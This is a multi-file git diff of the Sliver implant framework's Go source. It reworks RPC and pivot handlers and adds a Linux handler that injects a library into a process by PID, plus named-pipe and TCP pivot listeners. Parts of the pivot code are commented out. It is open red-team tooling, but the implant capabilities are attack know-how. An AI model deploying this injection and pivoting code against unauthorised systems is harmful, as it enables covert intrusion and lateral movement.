func listExtensionsHandler(data []byte, resp RPCResponse) {
|
||||
lstReq := &pb.ListExtensionsReq{}
|
||||
lstReq := &sliverpb.ListExtensionsReq{}
|
||||
err := proto.Unmarshal(data, lstReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
exts := extension.List()
|
||||
lstResp := &pb.ListExtensions{
|
||||
lstResp := &sliverpb.ListExtensions{
|
||||
Response: &commonpb.Response{},
|
||||
Names: exts,
|
||||
}
|
||||
|
||||
@@ -57,3 +57,8 @@ func GetSystemHandlers() map[uint32]RPCHandler {
|
||||
func GetSystemPivotHandlers() map[uint32]PivotHandler {
|
||||
return map[uint32]PivotHandler{}
|
||||
}
|
||||
|
||||
// GetPivotHandlers - Not supported
|
||||
func GetPivotHandlers() map[uint32]PivotHandler {
|
||||
return map[uint32]PivotHandler{}
|
||||
}
|
||||
@@ -19,7 +19,14 @@ package handlers
|
||||
*/
|
||||
|
||||
import (
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -48,6 +55,7 @@ var (
|
||||
|
||||
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
sliverpb.MsgLibInjectReq: libInjectHandler,
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
// Wireguard specific
|
||||
@@ -59,9 +67,41 @@ var (
|
||||
sliverpb.MsgWGListSocksReq: wgListSocksServersHandler,
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
linuxPivotHandlers = map[uint32]PivotHandler{}
|
||||
)
|
||||
|
||||
// GetSystemHandlers - Returns a map of the linux system handlers
|
||||
func GetSystemHandlers() map[uint32]RPCHandler {
|
||||
return linuxHandlers
|
||||
}
|
||||
|
||||
// GetSystemPivotHandlers - Returns a map of the linux system handlers
|
||||
func GetSystemPivotHandlers() map[uint32]PivotHandler {
|
||||
return linuxPivotHandlers
|
||||
}
|
||||
|
||||
func libInjectHandler(data []byte, resp RPCResponse) {
|
||||
injectReq := &sliverpb.LibInjectReq{}
|
||||
err := proto.Unmarshal(data, injectReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %s", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
err = taskrunner.LibTask(int(injectReq.Pid), injectReq.Data)
|
||||
|
||||
injectRes := sliverpb.LibInject{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("failed to inject lib %s\n", err)
|
||||
// {{end}}
|
||||
injectRes.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(&injectRes)
|
||||
resp(data, err)
|
||||
|
||||
}
|
||||
@@ -33,10 +33,12 @@ import (
|
||||
"syscall"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/extension"
|
||||
"github.com/bishopfox/sliver/implant/sliver/pivots"
|
||||
"github.com/bishopfox/sliver/implant/sliver/priv"
|
||||
"github.com/bishopfox/sliver/implant/sliver/registry"
|
||||
"github.com/bishopfox/sliver/implant/sliver/service"
|
||||
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
@@ -108,6 +110,10 @@ var (
|
||||
sliverpb.MsgWGListSocksReq: wgListSocksServersHandler,
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
windowsPivotHandlers = map[uint32]PivotHandler{
|
||||
sliverpb.MsgNamedPipesReq: namedPipeListenerHandler,
|
||||
}
|
||||
)
|
||||
|
||||
// GetSystemHandlers - Returns a map of the windows system handlers
|
||||
@@ -115,6 +121,11 @@ func GetSystemHandlers() map[uint32]RPCHandler {
|
||||
return windowsHandlers
|
||||
}
|
||||
|
||||
// GetSystemPivotHandlers - Returns a map of the windows system handlers
|
||||
func GetSystemPivotHandlers() map[uint32]PivotHandler {
|
||||
return windowsPivotHandlers
|
||||
}
|
||||
|
||||
// ---------------- Windows Handlers ----------------
|
||||
|
||||
func impersonateHandler(data []byte, resp RPCResponse) {
|
||||
@@ -363,6 +374,50 @@ func spawnDllHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func namedPipeListenerHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
|
||||
namedPipeReq := &sliverpb.NamedPipesReq{}
|
||||
err := proto.Unmarshal(envelope.Data, namedPipeReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
namedPipeResp := &sliverpb.NamedPipes{
|
||||
Success: false,
|
||||
Response: &commonpb.Response{Err: err.Error()},
|
||||
}
|
||||
data, _ := proto.Marshal(namedPipeResp)
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
ID: envelope.GetID(),
|
||||
Data: data,
|
||||
}
|
||||
return
|
||||
}
|
||||
err = pivots.StartNamedPipeListener(namedPipeReq.GetPipeName())
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error with listener: %s", err.Error())
|
||||
// {{end}}
|
||||
namedPipeResp := &sliverpb.NamedPipes{
|
||||
Success: false,
|
||||
Response: &commonpb.Response{Err: err.Error()},
|
||||
}
|
||||
data, _ := proto.Marshal(namedPipeResp)
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
ID: envelope.GetID(),
|
||||
Data: data,
|
||||
}
|
||||
return
|
||||
}
|
||||
namedPipeResp := &sliverpb.NamedPipes{
|
||||
Success: true,
|
||||
}
|
||||
data, _ := proto.Marshal(namedPipeResp)
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
ID: envelope.GetID(),
|
||||
Data: data,
|
||||
}
|
||||
}
|
||||
|
||||
func makeTokenHandler(data []byte, resp RPCResponse) {
|
||||
makeTokenReq := &sliverpb.MakeTokenReq{}
|
||||
err := proto.Unmarshal(data, makeTokenReq)
|
||||
|
||||
@@ -1,21 +1,24 @@
|
||||
//go:build windows || linux || darwin
|
||||
// +build windows linux darwin
|
||||
|
||||
package handlers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
@@ -26,16 +29,15 @@ import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/pivots"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var (
|
||||
genericPivotHandlers = map[uint32]PivotHandler{
|
||||
pb.MsgPivotListenersReq: pivotListenersHandler,
|
||||
pb.MsgPivotStartListenerReq: pivotStartListenerHandler,
|
||||
pb.MsgPivotStopListenerReq: pivotStopListenerHandler,
|
||||
pb.MsgPivotPeerEnvelope: pivotPeerEnvelopeHandler,
|
||||
sliverpb.MsgPivotData: pivotDataHandler,
|
||||
sliverpb.MsgTCPPivotReq: tcpListenerHandler,
|
||||
sliverpb.MsgPivotListReq: pivotListHandler,
|
||||
}
|
||||
)
|
||||
|
||||
@@ -44,88 +46,97 @@ func GetPivotHandlers() map[uint32]PivotHandler {
|
||||
return genericPivotHandlers
|
||||
}
|
||||
|
||||
func pivotListenersHandler(envelope *pb.Envelope, connection *transports.Connection) {
|
||||
data, _ := proto.Marshal(&pb.PivotListeners{
|
||||
Listeners: pivots.GetListeners(),
|
||||
Response: &commonpb.Response{},
|
||||
})
|
||||
connection.Send <- &pb.Envelope{
|
||||
func pivotListHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
|
||||
listReq := &sliverpb.PivotListReq{}
|
||||
listResp := &sliverpb.PivotList{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
err := proto.Unmarshal(envelope.Data, listReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
listResp.Response.Err = err.Error()
|
||||
data, _ := proto.Marshal(listResp)
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
return
|
||||
}
|
||||
listeners := pivots.GetListeners()
|
||||
entries := make([]*sliverpb.PivotEntry, 0)
|
||||
for _, entry := range listeners {
|
||||
entries = append(entries, &sliverpb.PivotEntry{
|
||||
Type: entry.Type,
|
||||
Remote: entry.RemoteAddress,
|
||||
})
|
||||
}
|
||||
listResp.Entries = entries
|
||||
data, _ := proto.Marshal(listResp)
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
}
|
||||
|
||||
func pivotStartListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
|
||||
req := &pb.PivotStartListenerReq{}
|
||||
resp := &pb.PivotListener{Response: &commonpb.Response{}}
|
||||
err := proto.Unmarshal(envelope.Data, req)
|
||||
func tcpListenerHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
|
||||
tcpPivot := &sliverpb.TCPPivotReq{}
|
||||
err := proto.Unmarshal(envelope.Data, tcpPivot)
|
||||
if err != nil {
|
||||
resp.Response.Err = err.Error()
|
||||
data, _ := proto.Marshal(resp)
|
||||
connection.Send <- &pb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if startListener, ok := pivots.SupportedPivotListeners[req.Type]; ok {
|
||||
listener, err := startListener(req.BindAddress, connection.Send)
|
||||
if err != nil {
|
||||
resp.Response.Err = err.Error()
|
||||
data, _ := proto.Marshal(resp)
|
||||
connection.Send <- &pb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
return
|
||||
}
|
||||
pivots.AddListener(listener)
|
||||
data, _ := proto.Marshal(listener.ToProtobuf())
|
||||
connection.Send <- &pb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
} else {
|
||||
resp.Response.Err = "Unsupported pivot listener type"
|
||||
data, _ := proto.Marshal(resp)
|
||||
connection.Send <- &pb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func pivotStopListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
|
||||
req := &pb.PivotStopListenerReq{}
|
||||
resp := &pb.PivotListener{Response: &commonpb.Response{}}
|
||||
err := proto.Unmarshal(envelope.Data, req)
|
||||
if err != nil {
|
||||
resp.Response.Err = err.Error()
|
||||
data, _ := proto.Marshal(resp)
|
||||
connection.Send <- &pb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
return
|
||||
}
|
||||
pivots.StopListener(req.ID)
|
||||
connection.Send <- &pb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: []byte{},
|
||||
}
|
||||
}
|
||||
|
||||
func pivotPeerEnvelopeHandler(envelope *pb.Envelope, connection *transports.Connection) {
|
||||
sent := pivots.SendToPeer(envelope)
|
||||
if !sent {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Send to peer failed, report peer failure upstream ...")
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
data, _ := proto.Marshal(&pb.PivotPeerFailure{ID: envelope.ID})
|
||||
connection.Send <- &pb.Envelope{
|
||||
Type: pb.MsgPivotPeerFailure,
|
||||
tcpPivotResp := &sliverpb.TCPPivot{
|
||||
Success: false,
|
||||
Response: &commonpb.Response{Err: err.Error()},
|
||||
}
|
||||
data, _ := proto.Marshal(tcpPivotResp)
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
ID: envelope.GetID(),
|
||||
Data: data,
|
||||
}
|
||||
return
|
||||
}
|
||||
err = pivots.StartTCPListener(tcpPivot.Address)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
tcpPivotResp := &sliverpb.TCPPivot{
|
||||
Success: false,
|
||||
Response: &commonpb.Response{Err: err.Error()},
|
||||
}
|
||||
data, _ := proto.Marshal(tcpPivotResp)
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
ID: envelope.GetID(),
|
||||
Data: data,
|
||||
}
|
||||
return
|
||||
}
|
||||
tcpResp := &sliverpb.TCPPivot{
|
||||
Success: true,
|
||||
}
|
||||
data, _ := proto.Marshal(tcpResp)
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
ID: envelope.GetID(),
|
||||
Data: data,
|
||||
}
|
||||
}
|
||||
|
||||
func pivotDataHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
|
||||
pivData := &sliverpb.PivotData{}
|
||||
proto.Unmarshal(envelope.Data, pivData)
|
||||
|
||||
origData := &sliverpb.Envelope{}
|
||||
proto.Unmarshal(pivData.Data, origData)
|
||||
|
||||
pivotConn := pivots.Pivot(pivData.GetPivotID())
|
||||
if pivotConn != nil {
|
||||
// pivots.PivotWriteEnvelope(pivotConn, origData)
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivotDataHandler] PivotID %d not found\n", pivData.GetPivotID())
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
@@ -19,41 +19,41 @@ package pivots
|
||||
*/
|
||||
|
||||
import (
|
||||
"sync"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// "log"
|
||||
// {{end}}
|
||||
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/lesnuages/go-winio"
|
||||
// "math/rand"
|
||||
"net"
|
||||
// "os"
|
||||
// "strings"
|
||||
// "time"
|
||||
// "github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
// "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
// "github.com/lesnuages/go-winio"
|
||||
// "google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// StartNamedPipePivotListener - Starts a named pipe listener
|
||||
func StartNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
|
||||
fullName := "\\\\.\\pipe\\" + address
|
||||
ln, err := winio.ListenPipe(fullName, &winio.PipeConfig{
|
||||
RemoteClientMode: true,
|
||||
})
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Listening on %s", fullName)
|
||||
// {{end}}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
pivotLn := &PivotListener{
|
||||
ID: ListenerID(),
|
||||
Type: pb.PivotType_NamedPipe,
|
||||
Listener: ln,
|
||||
Pivots: &sync.Map{},
|
||||
BindAddress: fullName,
|
||||
Upstream: upstream,
|
||||
}
|
||||
go namedPipeAcceptConnections(pivotLn)
|
||||
return pivotLn, nil
|
||||
func StartNamedPipeListener(pipeName string) error {
|
||||
// fullName := "\\\\.\\pipe\\" + pipeName
|
||||
// config := &winio.PipeConfig{
|
||||
// RemoteClientMode: true,
|
||||
// }
|
||||
// ln, err := winio.ListenPipe(fullName, config)
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Printf("Listening on %s", fullName)
|
||||
// // {{end}}
|
||||
// if err != nil {
|
||||
// return err
|
||||
// }
|
||||
// pivotListeners = append(pivotListeners, &PivotListener{
|
||||
// Type: "named-pipe",
|
||||
// RemoteAddress: fullName,
|
||||
// })
|
||||
// go nampedPipeAcceptNewConnection(&ln)
|
||||
return nil
|
||||
}
|
||||
|
||||
func namedPipeAcceptConnections(pivotListener *PivotListener) {
|
||||
func nampedPipeAcceptNewConnection(ln *net.Listener) {
|
||||
// hostname, err := os.Hostname()
|
||||
// if err != nil {
|
||||
// // {{if .Config.Debug}}
|
||||
@@ -61,23 +61,87 @@ func namedPipeAcceptConnections(pivotListener *PivotListener) {
|
||||
// // {{end}}
|
||||
// hostname = "."
|
||||
// }
|
||||
// namedPipe := strings.ReplaceAll(pivotListener.Listener.Addr().String(), ".", hostname)
|
||||
for {
|
||||
conn, err := pivotListener.Listener.Accept()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
// handle connection like any other net.Conn
|
||||
pivotConn := &NetConnPivot{
|
||||
id: PivotID(),
|
||||
conn: conn,
|
||||
readMutex: &sync.Mutex{},
|
||||
writeMutex: &sync.Mutex{},
|
||||
readDeadline: tcpPivotReadDeadline,
|
||||
writeDeadline: tcpPivotWriteDeadline,
|
||||
upstream: pivotListener.Upstream,
|
||||
Downstream: make(chan *pb.Envelope),
|
||||
}
|
||||
go pivotConn.Start(pivotListener.Pivots)
|
||||
}
|
||||
// namedPipe := strings.ReplaceAll((*ln).Addr().String(), ".", hostname)
|
||||
// for {
|
||||
// conn, err := (*ln).Accept()
|
||||
// if err != nil {
|
||||
// continue
|
||||
// }
|
||||
// pivotID := rand.Uint32()
|
||||
// pivotsMap.AddPivot(pivotID, &conn, "named-pipe", namedPipe)
|
||||
// //SendPivotOpen(pivotID, "named-pipe", namedPipe)
|
||||
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Println("Accepted a new connection")
|
||||
// // {{end}}
|
||||
|
||||
// // handle connection like any other net.Conn
|
||||
// go nampedPipeConnectionHandler(&conn, pivotID)
|
||||
// }
|
||||
}
|
||||
|
||||
func nampedPipeConnectionHandler(conn *net.Conn, pivotID uint32) {
|
||||
|
||||
// defer func() {
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Printf("Cleaning up for pivot %d\n", pivotID)
|
||||
// // {{end}}
|
||||
// (*conn).Close()
|
||||
// pivotClose := &sliverpb.PivotClose{
|
||||
// PivotID: pivotID,
|
||||
// }
|
||||
// data, err := proto.Marshal(pivotClose)
|
||||
// if err != nil {
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Println(err)
|
||||
// // {{end}}
|
||||
// return
|
||||
// }
|
||||
// connection := transports.GetActiveConnection()
|
||||
// if connection.IsOpen {
|
||||
// connection.Send <- &sliverpb.Envelope{
|
||||
// Type: sliverpb.MsgPivotClose,
|
||||
// Data: data,
|
||||
// }
|
||||
// }
|
||||
// }()
|
||||
|
||||
// for {
|
||||
// envelope, err := PivotReadEnvelope(conn)
|
||||
// if err != nil {
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Println(err)
|
||||
// // {{end}}
|
||||
// return
|
||||
// }
|
||||
// dataBuf, err1 := proto.Marshal(envelope)
|
||||
// if err1 != nil {
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Println(err1)
|
||||
// // {{end}}
|
||||
// return
|
||||
// }
|
||||
// pivotOpen := &sliverpb.PivotData{
|
||||
// PivotID: pivotID,
|
||||
// Data: dataBuf,
|
||||
// }
|
||||
// connection := transports.GetActiveConnection()
|
||||
// if envelope.Type == 1 {
|
||||
// SendPivotOpen(pivotID, dataBuf, connection)
|
||||
// continue
|
||||
// }
|
||||
// data2, err2 := proto.Marshal(pivotOpen)
|
||||
// if err2 != nil {
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Println(err2)
|
||||
// // {{end}}
|
||||
// return
|
||||
// }
|
||||
// if connection.IsOpen {
|
||||
// connection.Send <- &sliverpb.Envelope{
|
||||
// Type: sliverpb.MsgPivotData,
|
||||
// Data: data2,
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
}
|
||||
+150
-369
@@ -2,7 +2,7 @@ package pivots
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -19,368 +19,203 @@ package pivots
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"net"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"net"
|
||||
"sync"
|
||||
|
||||
consts "github.com/bishopfox/sliver/implant/sliver/constants"
|
||||
"github.com/bishopfox/sliver/implant/sliver/cryptography"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
readBufSize = 1024
|
||||
readBufSize = 1024
|
||||
writeBufSize = 1024
|
||||
)
|
||||
|
||||
var (
|
||||
ErrFailedWrite = errors.New("failed to write")
|
||||
ErrFailedKeyExchange = errors.New("failed key exchange")
|
||||
|
||||
pivotListeners = &sync.Map{}
|
||||
listenerID = uint32(0)
|
||||
|
||||
PeerID = PivotID() // This implant's Peer ID, a per-execution instance ID
|
||||
)
|
||||
|
||||
// StartListener - Generic interface to a start listener function
|
||||
type StartListener func(string, chan<- *pb.Envelope) (*PivotListener, error)
|
||||
|
||||
// GetListeners - Get a list of active listeners
|
||||
func GetListeners() []*pb.PivotListener {
|
||||
listeners := []*pb.PivotListener{}
|
||||
pivotListeners.Range(func(key interface{}, value interface{}) bool {
|
||||
listener := value.(*PivotListener)
|
||||
listeners = append(listeners, listener.ToProtobuf())
|
||||
return true
|
||||
})
|
||||
return listeners
|
||||
// pivotsMap - holds the pivots, provides atomic access
|
||||
var pivotsMap = &PivotsMap{
|
||||
Pivots: &map[uint32]*pivotsMapEntry{},
|
||||
mutex: &sync.RWMutex{},
|
||||
}
|
||||
|
||||
// AddListener - Add a listener
|
||||
func AddListener(listener *PivotListener) {
|
||||
pivotListeners.Store(listener.ID, listener)
|
||||
var pivotListeners = make([]*PivotListener, 0)
|
||||
|
||||
type pivotsMapEntry struct {
|
||||
Conn *net.Conn
|
||||
PivotType string
|
||||
RemoteAddress string
|
||||
Register []byte
|
||||
}
|
||||
|
||||
// StopListener - Stop a pivot listener
|
||||
func StopListener(id uint32) {
|
||||
if listener, ok := pivotListeners.Load(id); ok {
|
||||
listener.(*PivotListener).Stop()
|
||||
}
|
||||
// PivotsMap - struct that defines de pivots, provides atomic access
|
||||
type PivotsMap struct {
|
||||
mutex *sync.RWMutex
|
||||
Pivots *map[uint32]*pivotsMapEntry
|
||||
}
|
||||
|
||||
// SendToPeer - Forward an envelope to a peer
|
||||
func SendToPeer(envelope *pb.Envelope) bool {
|
||||
peerEnvelope := &pb.PivotPeerEnvelope{}
|
||||
err := proto.Unmarshal(envelope.Data, peerEnvelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to unmarshal peer envelope: %s", err)
|
||||
// {{end}}
|
||||
return false
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Peer Envelope: %v", peerEnvelope)
|
||||
log.Printf("Send to downstream pivot id: %d", peerEnvelope.PivotID)
|
||||
// {{end}}
|
||||
|
||||
downstreamEnvelope := &pb.Envelope{
|
||||
Type: pb.MsgPivotPeerEnvelope,
|
||||
Data: peerEnvelope.Data,
|
||||
}
|
||||
err = proto.Unmarshal(peerEnvelope.Data, downstreamEnvelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to unmarshal downstream envelope: %s", err)
|
||||
// {{end}}
|
||||
return false
|
||||
}
|
||||
|
||||
// NOTE: Yes linear search is bad, but there should be a very small
|
||||
// number of listeners and pivots so it should be fine
|
||||
sent := false // Controls iteration of outer loop
|
||||
pivotListeners.Range(func(key interface{}, value interface{}) bool {
|
||||
listener := value.(*PivotListener)
|
||||
listener.Pivots.Range(func(key interface{}, value interface{}) bool {
|
||||
pivot := value.(*NetConnPivot)
|
||||
if pivot.ID() == peerEnvelope.PivotID {
|
||||
pivot.Downstream <- downstreamEnvelope
|
||||
sent = true // break from the outer loop
|
||||
return false // stop iterating inner loop
|
||||
}
|
||||
return true // keep iterating inner loop
|
||||
})
|
||||
return !sent // keep iterating while not sent
|
||||
})
|
||||
// {{if .Config.Debug}}
|
||||
if !sent {
|
||||
log.Printf("Failed to find pivot with id %d", peerEnvelope.PivotID)
|
||||
}
|
||||
// {{end}}
|
||||
return sent
|
||||
}
|
||||
|
||||
// PivotListener - A pivot listener
|
||||
type PivotListener struct {
|
||||
ID uint32
|
||||
Type pb.PivotType
|
||||
Listener net.Listener
|
||||
Pivots *sync.Map // ID -> NetConnPivot
|
||||
BindAddress string
|
||||
Upstream chan<- *pb.Envelope
|
||||
Type string
|
||||
RemoteAddress string
|
||||
}
|
||||
|
||||
// ToProtobuf - Get the protobuf version of the pivot listener
|
||||
func (l *PivotListener) ToProtobuf() *pb.PivotListener {
|
||||
pivotPeers := []*pb.PivotPeer{}
|
||||
l.Pivots.Range(func(key interface{}, value interface{}) bool {
|
||||
pivot := value.(*NetConnPivot)
|
||||
pivotPeers = append(pivotPeers, pivot.ToProtobuf())
|
||||
return true
|
||||
})
|
||||
return &pb.PivotListener{
|
||||
ID: l.ID,
|
||||
Type: l.Type,
|
||||
BindAddress: l.BindAddress,
|
||||
Pivots: pivotPeers,
|
||||
func GetListeners() []*PivotListener {
|
||||
return pivotListeners
|
||||
}
|
||||
|
||||
// Pivot - Get Pivot by ID
|
||||
func (p *PivotsMap) Pivot(pivotID uint32) *pivotsMapEntry {
|
||||
p.mutex.Lock()
|
||||
defer p.mutex.Unlock()
|
||||
return (*p.Pivots)[pivotID]
|
||||
}
|
||||
|
||||
// AddPivot - Add a pivot to the map (atomically)
|
||||
func (p *PivotsMap) AddPivot(pivotID uint32, conn *net.Conn, t, addr string) {
|
||||
p.mutex.Lock()
|
||||
defer p.mutex.Unlock()
|
||||
entry := pivotsMapEntry{
|
||||
Conn: conn,
|
||||
PivotType: t,
|
||||
RemoteAddress: addr,
|
||||
}
|
||||
(*p.Pivots)[pivotID] = &entry
|
||||
}
|
||||
|
||||
// RemovePivot - Add a pivot to the map (atomically)
|
||||
func (p *PivotsMap) RemovePivot(pivotID uint32) {
|
||||
p.mutex.Lock()
|
||||
defer p.mutex.Unlock()
|
||||
delete((*p.Pivots), pivotID)
|
||||
}
|
||||
|
||||
func Pivot(pivotID uint32) *net.Conn {
|
||||
return pivotsMap.Pivot(pivotID).Conn
|
||||
}
|
||||
|
||||
// ReconnectActivePivots - Send a new PivotOpen message back to the server for each alive pivot
|
||||
func ReconnectActivePivots(connection *transports.Connection) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Reconnecting active pivots...")
|
||||
// {{end}}
|
||||
for k, v := range *pivotsMap.Pivots {
|
||||
SendPivotOpen(k, (*v).Register, connection)
|
||||
}
|
||||
}
|
||||
|
||||
// Stop - Stop the pivot listener
|
||||
func (l *PivotListener) Stop() {
|
||||
// Close all peer connections before closing listener
|
||||
l.Pivots.Range(func(key interface{}, value interface{}) bool {
|
||||
value.(*NetConnPivot).Close()
|
||||
return true
|
||||
})
|
||||
l.Pivots = nil
|
||||
l.Listener.Close()
|
||||
// SendPivotOpen - Sends a PivotOpen message back to the server
|
||||
func SendPivotOpen(pivotID uint32, registerMsg []byte, connection *transports.Connection) {
|
||||
// pivotsMap.Pivot(pivotID).Register = registerMsg
|
||||
// pivot := pivotsMap.Pivot(pivotID)
|
||||
// pivotOpen := &sliverpb.PivotOpen{
|
||||
// PivotID: pivotID,
|
||||
// PivotType: pivot.PivotType,
|
||||
// RemoteAddress: pivot.RemoteAddress,
|
||||
// RegisterMsg: registerMsg,
|
||||
// }
|
||||
// data, err := proto.Marshal(pivotOpen)
|
||||
// if err != nil {
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Println(err)
|
||||
// // {{end}}
|
||||
// return
|
||||
// }
|
||||
// // W T F!!!!!
|
||||
// if connection.IsOpen {
|
||||
// connection.Send <- &sliverpb.Envelope{
|
||||
// Type: sliverpb.MsgPivotOpen,
|
||||
// Data: data,
|
||||
// }
|
||||
// } else {
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Println("Connection is not open...")
|
||||
